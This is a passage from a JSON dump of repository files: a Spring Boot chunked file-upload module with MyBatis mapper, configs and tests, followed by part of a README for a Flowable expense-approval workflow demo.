    "content": "package cn.attackme.myuploader.dao;\n\nimport cn.attackme.myuploader.model.File;\nimport org.apache.ibatis.annotations.Mapper;\n\n@Mapper\npublic interface FileDao {\n    /**\n     * 通过主键获取一行数据\n     * @return\n     */\n    File getById(Long id);\n\n    /**\n     * 插入一行数据\n     * @param file\n     * @return\n     */\n    int save(File file);\n\n    /**\n     * 更新一行数据\n     * @param file\n     * @return\n     */\n    int update(File file);\n\n    /**\n     * 删除一行数据\n     * @param id\n     * @return\n     */\n    int deleteById(Long id);\n\n    /**\n     * 根据一个或多个属性获取File\n     * @param file\n     * @return\n     */\n    File getByFile(File file);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/model/File.java",
    "content": "package cn.attackme.myuploader.model;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.ToString;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * File表存储上传的文件信息\n */\n@Data\n@AllArgsConstructor\n@ToString\npublic class File implements Serializable {\n\n    private static final long serialVersionUID = -6956947981866795431L;\n\n    private Long id;\n    private String name;\n    private String md5;\n    private String path;\n    private Date uploadTime;\n\n    public File() {\n    }\n\n    public File(String name, String md5, String path, Date uploadTime) {\n        this.name = name;\n        this.md5 = md5;\n        this.path = path;\n        this.uploadTime = uploadTime;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/service/FileService.java",
    "content": "package cn.attackme.myuploader.service;\n\nimport cn.attackme.myuploader.config.UploadConfig;\nimport cn.attackme.myuploader.dao.FileDao;\nimport cn.attackme.myuploader.model.File;\nimport cn.attackme.myuploader.utils.FileUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.util.Date;\n\nimport static cn.attackme.myuploader.utils.FileUtils.generateFileName;\nimport static cn.attackme.myuploader.utils.UploadUtils.*;\n\n/**\n * 文件上传服务\n */\n@Service\npublic class FileService {\n    @Autowired\n    private FileDao fileDao;\n\n\n    /**\n     * 上传文件\n     * @param md5\n     * @param file\n     */\n    public void upload(String name,\n                       String md5,\n                       MultipartFile file) throws IOException {\n        String path = UploadConfig.path + generateFileName();\n        FileUtils.write(path, file.getInputStream());\n        fileDao.save(new File(name, md5, path, new Date()));\n    }\n\n    /**\n     * 分块上传文件\n     * @param md5\n     * @param size\n     * @param chunks\n     * @param chunk\n     * @param file\n     * @throws IOException\n     */\n    public void uploadWithBlock(String name,\n                                String md5,\n                                Long size,\n                                Integer chunks,\n                                Integer chunk,\n                                MultipartFile file) throws IOException {\n        String fileName = getFileName(md5, chunks);\n        FileUtils.writeWithBlok(UploadConfig.path + fileName, size, file.getInputStream(), file.getSize(), chunks, chunk);\n        addChunk(md5,chunk);\n        if (isUploaded(md5)) {\n            removeKey(md5);\n            fileDao.save(new File(name, md5,UploadConfig.path + fileName, new Date()));\n        }\n    }\n\n    /**\n     * 检查Md5判断文件是否已上传\n     * @param md5\n     * @return\n     */\n    public boolean checkMd5(String md5) {\n        File file = new File();\n        file.setMd5(md5);\n        return fileDao.getByFile(file) == null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/utils/FileUtils.java",
    "content": "package cn.attackme.myuploader.utils;\n\n\nimport java.io.*;\nimport java.util.UUID;\n\n/**\n * 文件操作工具类\n */\npublic class FileUtils {\n\n    /**\n     * 写入文件\n     * @param target\n     * @param src\n     * @throws IOException\n     */\n    public static void write(String target, InputStream src) throws IOException {\n        OutputStream os = new FileOutputStream(target);\n        byte[] buf = new byte[1024];\n        int len;\n        while (-1 != (len = src.read(buf))) {\n            os.write(buf,0,len);\n        }\n        os.flush();\n        os.close();\n    }\n\n    /**\n     * 分块写入文件\n     * @param target\n     * @param targetSize\n     * @param src\n     * @param srcSize\n     * @param chunks\n     * @param chunk\n     * @throws IOException\n     */\n    public static void writeWithBlok(String target, Long targetSize, InputStream src, Long srcSize, Integer chunks, Integer chunk) throws IOException {\n        RandomAccessFile randomAccessFile = new RandomAccessFile(target,\"rw\");\n        randomAccessFile.setLength(targetSize);\n        if (chunk == chunks - 1) {\n            randomAccessFile.seek(targetSize - srcSize);\n        } else {\n            randomAccessFile.seek(chunk * srcSize);\n        }\n        byte[] buf = new byte[1024];\n        int len;\n        while (-1 != (len = src.read(buf))) {\n            randomAccessFile.write(buf,0,len);\n        }\n        randomAccessFile.close();\n    }\n\n    /**\n     * 生成随机文件名\n     * @return\n     */\n    public static String generateFileName() {\n        return UUID.randomUUID().toString();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/utils/LogUtils.java",
    "content": "package cn.attackme.myuploader.utils;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.Signature;\n\nimport java.util.Date;\n\n/**\n * 日志工具类\n */\n@Slf4j\npublic class LogUtils {\n\n    /**\n     * 日志输出到文件\n     * @param ex\n     */\n    public static void logToFile(Exception ex) {\n        StackTraceElement stackTraceElement = ex.getStackTrace()[0];\n        //出错行\n        int lineNumber = stackTraceElement.getLineNumber();\n        //类名\n        String className = stackTraceElement.getClassName();\n        //方法名\n        String methodName = stackTraceElement.getMethodName();\n        log.error(\"方法:\" + className + \".\" + methodName + \" | \" +\n                \"参数:\" + stackTraceElement + \" | \" + \"错误行：\" + lineNumber + \" | \" +\n                \"时间:\" + \" | \" + new Date() + \" | \" + \"异常内容:\" + ex.toString()\n        );\n    }\n\n    /**\n     * 日志输出到文件, 提供给日志切面\n     * @param joinPoint\n     * @param ex\n     */\n    public static void logToFile(JoinPoint joinPoint, Throwable ex) {\n        //出错行\n        int lineNumber = ex.getStackTrace()[0].getLineNumber();\n        //方法签名\n        Signature signature = joinPoint.getSignature();\n        //参数\n        Object[] args = joinPoint.getArgs();\n        StringBuilder builder = new StringBuilder();\n        if (args.length > 0) {\n            for (Object o : args) {\n                builder.append(o);\n            }\n        }\n        log.error(\"方法:\" + signature + \" | \" + \"参数:\" + builder.toString() +\n                \" | \" + \"错误行：\" + lineNumber + \" | \" + \"时间:\" + new Date() +\n                \" | \" + \"异常内容:\" + ex.toString()\n        );\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/java/cn/attackme/myuploader/utils/UploadUtils.java",
    "content": "package cn.attackme.myuploader.utils;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static cn.attackme.myuploader.utils.FileUtils.generateFileName;\n\n/**\n * 分块上传工具类\n */\npublic class UploadUtils {\n    /**\n     * 内部类记录分块上传文件信息\n     */\n    private static class Value {\n        String name;\n        boolean[] status;\n\n        Value(int n) {\n            this.name = generateFileName();\n            this.status = new boolean[n];\n        }\n    }\n\n    private static Map<String, Value> chunkMap = new HashMap<>();\n\n    /**\n     * 判断文件所有分块是否已上传\n     * @param key\n     * @return\n     */\n    public static boolean isUploaded(String key) {\n        if (isExist(key)) {\n            for (boolean b : chunkMap.get(key).status) {\n                if (!b) {\n                    return false;\n                }\n            }\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 判断文件是否有分块已上传\n     * @param key\n     * @return\n     */\n    private static boolean isExist(String key) {\n        return chunkMap.containsKey(key);\n    }\n\n    /**\n     * 为文件添加上传分块记录\n     * @param key\n     * @param chunk\n     */\n    public static void addChunk(String key, int chunk) {\n        chunkMap.get(key).status[chunk] = true;\n    }\n\n    /**\n     * 从map中删除键为key的键值对\n     * @param key\n     */\n    public static void removeKey(String key) {\n        if (isExist(key)) {\n            chunkMap.remove(key);\n        }\n    }\n\n    /**\n     * 获取随机生成的文件名\n     * @param key\n     * @param chunks\n     * @return\n     */\n    public static String getFileName(String key, int chunks) {\n        if (!isExist(key)) {\n            synchronized (UploadUtils.class) {\n                if (!isExist(key)) {\n                    chunkMap.put(key, new Value(chunks));\n                }\n            }\n        }\n        return chunkMap.get(key).name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/resources/application.yml",
    "content": "spring:\n  datasource:\n    username: root\n    password:\n    url: jdbc:mysql:///test666?useUnicode=true&characterEncoding=utf-8&serverTimeZone=UTC&useSSL=false\n    driver-class-name: com.mysql.jdbc.Driver\n  servlet:\n    multipart:\n      max-file-size: 10000Mb\n      max-request-size: 100000Mb\nmybatis:\n  mapper-locations: classpath:mapper/*Mapper.xml\n  type-aliases-package: cn.attackme.myuploader.model\nupload:\n  path: ./upload/"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/resources/logback.xml",
    "content": "<!-- scan:当此属性设置为true时，配置文件如果发生改变，将会被重新加载，默认值为true。\nscanPeriod:设置监测配置文件是否有修改的时间间隔，如果没有给出时间单位，默认单位是毫秒。\n当scan为true时，此属性生效。默认的时间间隔为1分钟。\ndebug:当此属性设置为true时，将打印出logback内部日志信息，实时查看logback运行状态。默认值为false。\n-->\n<configuration debug=\"true\" scan=\"true\" scanPeriod=\"60 seconds\" packagingData=\"true\">\n    <!-- property：用来定义变量值的标签，<property> 有两个属性，name和value。\n    通过<property>定义的值会被插入到logger上下文中。定义变量后，可以使“${}”来使用变量。\n    例如使用<property>定义上下文名称，然后在<contentName>设置logger上下文时使用。\n    -->\n    <!--<property name=\"contextName\" value=\"context-name\" /> -->\n    <property name=\"log_home\" value=\"log\" />\n    <!-- contextName：每个logger都关联到logger上下文，默认上下文名称为“default”。\n     但可以使用<contextName>设置成其他名字，用于区分不同应用程序的记录。一旦设置，不能修改。 -->\n    <!--<contextName>${contextName}</contextName>-->\n\n    <!-- ******************** appender：日志目的地 start ******************** -->\n    <!-- 标准输出：console -->\n    <appender name=\"console\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <!-- encoder 默认配置为PatternLayoutEncoder -->\n        <encoder>\n            <!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度%msg：日志消息，%n是换行符-->\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>\n        </encoder>\n    </appender>\n    <!-- 文件输出：file -->\n    <appender name=\"file\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>log/logback.log</file>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!--日志文件输出的文件名-->\n            <FileNamePattern>${log_home}/logback.%d{yyyyMMdd}.log</FileNamePattern>\n        </rollingPolicy>\n        <encoder>\n            <!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度%msg：日志消息，%n是换行符-->\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>\n        </encoder>\n        <!--日志文件最大的大小-->\n        <!-- <triggeringPolicy class=\"ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy\">\n                <MaxFileSize>10MB</MaxFileSize>\n            </triggeringPolicy>\n        -->\n    </appender>\n    <!-- ******************** appender：日志目的地 end ******************** -->\n\n    <!-- ******************** logger：精确配置package或class的level、appender,可以配置0个或多个 start ******************** -->\n\n    <!-- level:日志级别（logger中的level会覆盖root中的，即以logger中为准，不管是否向上传递）\n    name:包名 或 类的全路径 addtivity:日志信息是否向上（root）传递\n    -->\n    <!--<logger name=\"logback\" />-->\n    <!--logback.LogbackDemo：类的全路径 -->\n\n    <logger name=\"cn.attackme.myuploader\" level=\"debug\" additivity=\"false\">\n        <appender-ref ref=\"console\"/>\n        <appender-ref ref=\"file\"/>\n    </logger>\n    <!-- ******************** logger：精确配置package或class日志的level、appender end ******************** -->\n\n    <!-- ******************** root：定义日志的level、appender，且最多只能配置一个 start ******************** -->\n    <!--TRACE < DEBUG < INFO < WARN < ERROR-->\n    <root level=\"info\">\n        <!-- 定义了INFO及以上级别的日志，分别在文件和控制台输出 -->\n        <!--<level value=\"debug\" />-->\n        <!--<appender-ref ref=\"file\" />-->\n        <appender-ref ref=\"console\" />\n    </root>\n    <!-- ******************** root：定义日志的level、appender，且最多只能配置一个 end ******************** -->\n\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/resources/mapper/FileMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"cn.attackme.myuploader.dao.FileDao\">\n    <resultMap id=\"BaseResultMap\" type=\"cn.attackme.myuploader.model.File\">\n        <id column=\"id\" property=\"id\" />\n        <result column=\"name\" property=\"name\" />\n        <result column=\"md5\" property=\"md5\" />\n        <result column=\"path\" property=\"path\" />\n        <result column=\"upload_time\" property=\"uploadTime\" />\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        id,name,md5,path,upload_time\n    </sql>\n\n    <select id=\"getById\" parameterType=\"java.lang.Long\" resultMap=\"BaseResultMap\">\n        select\n        <include refid=\"Base_Column_List\" />\n        from file\n        where id = #{id}\n    </select>\n\n    <insert id=\"save\" parameterType=\"cn.attackme.myuploader.model.File\" keyProperty=\"id\" useGeneratedKeys=\"true\">\n        insert into file(name,md5,path,upload_time) values(#{name},#{md5},#{path},#{uploadTime})\n    </insert>\n\n    <update id=\"update\" parameterType=\"cn.attackme.myuploader.model.File\" >\n        <if test=\"id != null\">\n            update file\n            <set>\n                <if test=\"name != null\">\n                    name = #{name},\n                </if>\n                <if test=\"md5 != null\">\n                    md5 = #{md5},\n                </if>\n                <if test=\"path != null\">\n                    path = #{path},\n                </if>\n                <if test=\"uploadTime != null\">\n                    upload_time = #{uploadTime},\n                </if>\n            </set>\n            where id = #{id}\n        </if>\n    </update>\n\n    <delete id=\"deleteById\" parameterType=\"java.lang.Long\">\n        delete from file where id = #{id}\n    </delete>\n\n    <select id=\"getByFile\" parameterType=\"cn.attackme.myuploader.model.File\" resultMap=\"BaseResultMap\">\n        select\n        <include refid=\"Base_Column_List\" />\n        from file\n        <where>\n            <if test=\"id != null\">\n                id = #{id}\n            </if>\n            <if test=\"name != null\">\n                and name = #{name}\n            </if>\n            <if test=\"md5 != null\">\n                and md5 = #{md5}\n            </if>\n            <if test=\"path != null\">\n                and path = #{path}\n            </if>\n            <if test=\"uploadTime != null\">\n                and upload_time = #{uploadTime}\n            </if>\n        </where>\n    </select>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/main/resources/schema.sql",
    "content": "drop table if exists file;\n\ncreate table file(\n  id bigint auto_increment ,\n  name varchar(100) not null ,\n  md5 varchar(32) ,\n  path varchar(100) not null ,\n  upload_time datetime(3) not null ,\n  primary key (id)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/test/java/cn/attackme/myuploader/MyUploaderApplicationTests.java",
    "content": "package cn.attackme.myuploader;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class MyUploaderApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_file_uploader/src/test/java/cn/attackme/myuploader/dao/FileDaoTests.java",
    "content": "package cn.attackme.myuploader.dao;\n\nimport cn.attackme.myuploader.model.File;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.annotation.Rollback;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport java.util.Date;\nimport java.util.UUID;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNotNull;\nimport static org.junit.Assert.assertNull;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class FileDaoTests {\n    @Autowired\n    private FileDao fileDao;\n\n    private File testFile;\n\n    /**\n     * 生成File实例\n     */\n    @Before\n    public void generateFile() {\n        testFile = new File();\n        testFile.setMd5(\"121221212\");\n        testFile.setName(\"test\");\n        testFile.setUploadTime(new Date());\n        testFile.setPath(UUID.randomUUID().toString());\n    }\n\n    /**\n     * File保存成功测试\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testSaveSuccess(){\n        assertEquals(1,fileDao.save(testFile));\n    }\n\n    /**\n     * name为null保存抛异常测试\n     */\n    @Test(expected = Exception.class)\n    public void testSaveExceptionByNameIsNull() {\n        testFile.setName(null);\n        fileDao.save(testFile);\n    }\n\n    /**\n     * 更新成功测试\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testUpdateSuccess() {\n        fileDao.save(testFile);\n        testFile.setPath(UUID.randomUUID().toString());\n        assertEquals(1,fileDao.update(testFile));\n    }\n\n    /**\n     * md5为null更新不抛异常测试\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testUpdateNoExceptionByMd5IsNull() {\n        fileDao.save(testFile);\n        testFile.setMd5(null);\n        fileDao.update(testFile);\n    }\n\n    /**\n     * 根据id获取File成功测试\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testGetByIdSuccess() {\n        fileDao.save(testFile);\n        assertNotNull(fileDao.getById(testFile.getId()));\n    }\n\n    /**\n     * 根据不存在的id获取为null\n     */\n    @Test\n    public void testGetByNotExitsIdReturnNull() {\n        assertNull(fileDao.getById(new Long(0)));\n    }\n\n    /**\n     * 根据id删除File成功\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testDeleteByIdSuccess() {\n        fileDao.save(testFile);\n        assertEquals(1,fileDao.deleteById(testFile.getId()));\n    }\n\n    /**\n     * 根据不存在的id删除0条数据\n     */\n    @Test\n    public void testDeleteByNotExitsReturn0() {\n        assertEquals(0,fileDao.deleteById(new Long(0)));\n    }\n\n    /**\n     * 根据多列查询成功\n     */\n    @Test\n    @Transactional\n    @Rollback\n    public void testGetByFileSuccess() {\n        fileDao.save(testFile);\n        assertNotNull(fileDao.getByFile(testFile));\n    }\n\n    /**\n     * 根据某一列获取不存在的file,返回null\n     */\n    @Test\n    public void testGetByNotExistFileReturnNull() {\n        File file = new File();\n        file.setId(new Long(0));\n        assertNull(fileDao.getByFile(file));\n    }\n\n    /**\n     * File传null, where条件失效, 返回多行, 抛异常\n     */\n    @Test(expected = Exception.class)\n    @Transactional\n    @Rollback\n    public void testGetByNullThrowException() {\n        fileDao.save(testFile);\n        fileDao.save(testFile);\n        fileDao.getByFile(null);\n    }\n\n    /**\n     * 根据不唯一列获取到多条数据, 抛出异常\n     */\n    @Test(expected = Exception.class)\n    @Transactional\n    @Rollback\n    public void testGetByNotUniqueColumnThrowException() {\n        fileDao.save(testFile);\n        fileDao.save(testFile);\n        File file = new File();\n        file.setMd5(testFile.getMd5());\n        fileDao.getByFile(file);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/README.md",
    "content": "# springboot-flowable \n\n#### 介绍\nspringboot-flowable  快速开发工作流\n\n#### 软件架构\nspringboot + flowable + modeler + idm\n\nspringboot version : 2.1.5\n\nflowable version : 6.4.0\n\n==注意:== 版本需于数据库 act_ge_property 相同 \n\n​\t\t需要先登录 http://127.0.0.1:8080/expense/idm/index.html\n\n​\t\taccount: admin\n\n​\t\tpwd : test\n​\t 再访问:  <http://127.0.0.1:8080/expense> 创建设计器\n\n\n#### 使用说明\n\n1. 将flowable的依赖加入到POM中即可,flowable使用需要一个数据库，这里为了方便我选择mysql\n2. 增加 mybatis, modeler,idm 等配置\n\n~~~xml\n <properties>\n        <java.version>1.8</java.version>\n        <flowable.version>6.4.0</flowable.version>\n        <mybatis-spring-boot>1.3.1</mybatis-spring-boot>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!--flowable工作流依赖-->\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-spring-boot-starter-basic</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <!--mysql依赖-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>8.0.11</version>\n        </dependency>\n\n        <!-- Spring Boot Mybatis 依赖 -->\n        <dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>${mybatis-spring-boot}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.0.31</version>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.46</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-common</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-modeler-rest</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-idm-spring-configurator</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-idm-rest</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-idm-conf</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.liquibase</groupId>\n            <artifactId>liquibase-core</artifactId>\n            <version>3.6.2</version>\n        </dependency>\n\n        <!--security -->\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-config</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-crypto</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-web</artifactId>\n        </dependency>\n        <!-- Servlet -->\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <scope>provided</scope>\n        </dependency>\n    </dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n~~~\n\n\n\n2.yml 文件配置\n\n增加: idm, modeler , mybatis , servlet 等配置\n\n~~~yml\nspring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/flowable?autoReconnect=true&useUnicode=true&characterEncoding=utf8&useSSL=false&serverTimezone=CTT\n    username: root\n    password: 123456\n  security:\n    filter:\n      dispatcher-types: REQUEST,FORWARD,ASYNC\nflowable:\n  #关闭定时任务JOB\n  async-executor-activate: false\n  common:\n    app:\n      idm-url: http://localhost:8080/expense/\n  idm:\n    app:\n      admin:\n        user-id: admin\n        password: test\n        first-name: admin\n        last-name: admin\n  rest:\n    app:\n      authentication-mode: verify-privilege\n  modeler:\n    app:\n      rest-enabled: true\n  database-schema-update: true\nmybatis:\n  mapper-locations: classpath:/META-INF/modeler-mybatis-mappings/*.xml\n  config-location: classpath:/META-INF/mybatis-config.xml\n  configuration-properties:\n    prefix:\n    blobType: BLOB\n    boolValue: TRUE\nserver:\n  servlet:\n    context-path: /expense\n\n~~~\n\n这样操作后，flowable与springBoot的整个就完成了！\n\n然后就可以运行了，初次运行时flowable会将自动执行flowable中的初始化脚本完成工作流所需要的数据表的建立，如果指定的数据库中还未创建过flowable的相关数据表的话。\n\n\n\n## 定义流程文件\n\nExpenseProcess.bpmn20.xml\n\n~~~xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<definitions xmlns=\"http://www.omg.org/spec/BPMN/20100524/MODEL\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n             xmlns:flowable=\"http://flowable.org/bpmn\" xmlns:bpmndi=\"http://www.omg.org/spec/BPMN/20100524/DI\"\n             xmlns:omgdc=\"http://www.omg.org/spec/DD/20100524/DC\" xmlns:omgdi=\"http://www.omg.org/spec/DD/20100524/DI\"\n             typeLanguage=\"http://www.w3.org/2001/XMLSchema\" expressionLanguage=\"http://www.w3.org/1999/XPath\"\n             targetNamespace=\"http://www.flowable.org/processdef\">\n    <process id=\"Expense\" name=\"ExpenseProcess\" isExecutable=\"true\">\n        <documentation>报销流程</documentation>\n        <startEvent id=\"start\" name=\"开始\"></startEvent>\n        <userTask id=\"fillTask\" name=\"出差报销\" flowable:assignee=\"${taskUser}\">\n            <extensionElements>\n                <modeler:initiator-can-complete xmlns:modeler=\"http://flowable.org/modeler\">\n                    <![CDATA[false]]></modeler:initiator-can-complete>\n            </extensionElements>\n        </userTask>\n        <exclusiveGateway id=\"judgeTask\"></exclusiveGateway>\n        <userTask id=\"directorTak\" name=\"经理审批\">\n            <extensionElements>\n                <flowable:taskListener event=\"create\"\n                                       class=\"com.haiyang.flowable.listener.ManagerTaskHandler\"></flowable:taskListener>\n            </extensionElements>\n        </userTask>\n        <userTask id=\"bossTask\" name=\"老板审批\">\n            <extensionElements>\n                <flowable:taskListener event=\"create\"\n                                       class=\"com.haiyang.flowable.listener.BossTaskHandler\"></flowable:taskListener>\n            </extensionElements>\n        </userTask>\n        <endEvent id=\"end\" name=\"结束\"></endEvent>\n        <sequenceFlow id=\"directorNotPassFlow\" name=\"驳回\" sourceRef=\"directorTak\" targetRef=\"fillTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='驳回'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"bossNotPassFlow\" name=\"驳回\" sourceRef=\"bossTask\" targetRef=\"fillTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='驳回'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"flow1\" sourceRef=\"start\" targetRef=\"fillTask\"></sequenceFlow>\n        <sequenceFlow id=\"flow2\" sourceRef=\"fillTask\" targetRef=\"judgeTask\"></sequenceFlow>\n        <sequenceFlow id=\"judgeMore\" name=\"大于500元\" sourceRef=\"judgeTask\" targetRef=\"bossTask\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${money > 500}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"bossPassFlow\" name=\"通过\" sourceRef=\"bossTask\" targetRef=\"end\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='通过'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"directorPassFlow\" name=\"通过\" sourceRef=\"directorTak\" targetRef=\"end\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${outcome=='通过'}]]></conditionExpression>\n        </sequenceFlow>\n        <sequenceFlow id=\"judgeLess\" name=\"小于500元\" sourceRef=\"judgeTask\" targetRef=\"directorTak\">\n            <conditionExpression xsi:type=\"tFormalExpression\"><![CDATA[${money <= 500}]]></conditionExpression>\n        </sequenceFlow>\n    </process>\n    <bpmndi:BPMNDiagram id=\"BPMNDiagram_Expense\">\n        <bpmndi:BPMNPlane bpmnElement=\"Expense\" id=\"BPMNPlane_Expense\">\n            <bpmndi:BPMNShape bpmnElement=\"start\" id=\"BPMNShape_start\">\n                <omgdc:Bounds height=\"30.0\" width=\"30.0\" x=\"285.0\" y=\"135.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"fillTask\" id=\"BPMNShape_fillTask\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"405.0\" y=\"110.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"judgeTask\" id=\"BPMNShape_judgeTask\">\n                <omgdc:Bounds height=\"40.0\" width=\"40.0\" x=\"585.0\" y=\"130.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"directorTak\" id=\"BPMNShape_directorTak\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"735.0\" y=\"110.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"bossTask\" id=\"BPMNShape_bossTask\">\n                <omgdc:Bounds height=\"80.0\" width=\"100.0\" x=\"555.0\" y=\"255.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNShape bpmnElement=\"end\" id=\"BPMNShape_end\">\n                <omgdc:Bounds height=\"28.0\" width=\"28.0\" x=\"771.0\" y=\"281.0\"></omgdc:Bounds>\n            </bpmndi:BPMNShape>\n            <bpmndi:BPMNEdge bpmnElement=\"flow1\" id=\"BPMNEdge_flow1\">\n                <omgdi:waypoint x=\"315.0\" y=\"150.0\"></omgdi:waypoint>\n                <omgdi:waypoint x=\"405.0\" y=\"150.0\"></omgdi:waypoint>\n            </bpmndi:BPMNEdge>\n            <bpmndi:BPMNEdge bpmnElement=\"flow2\" 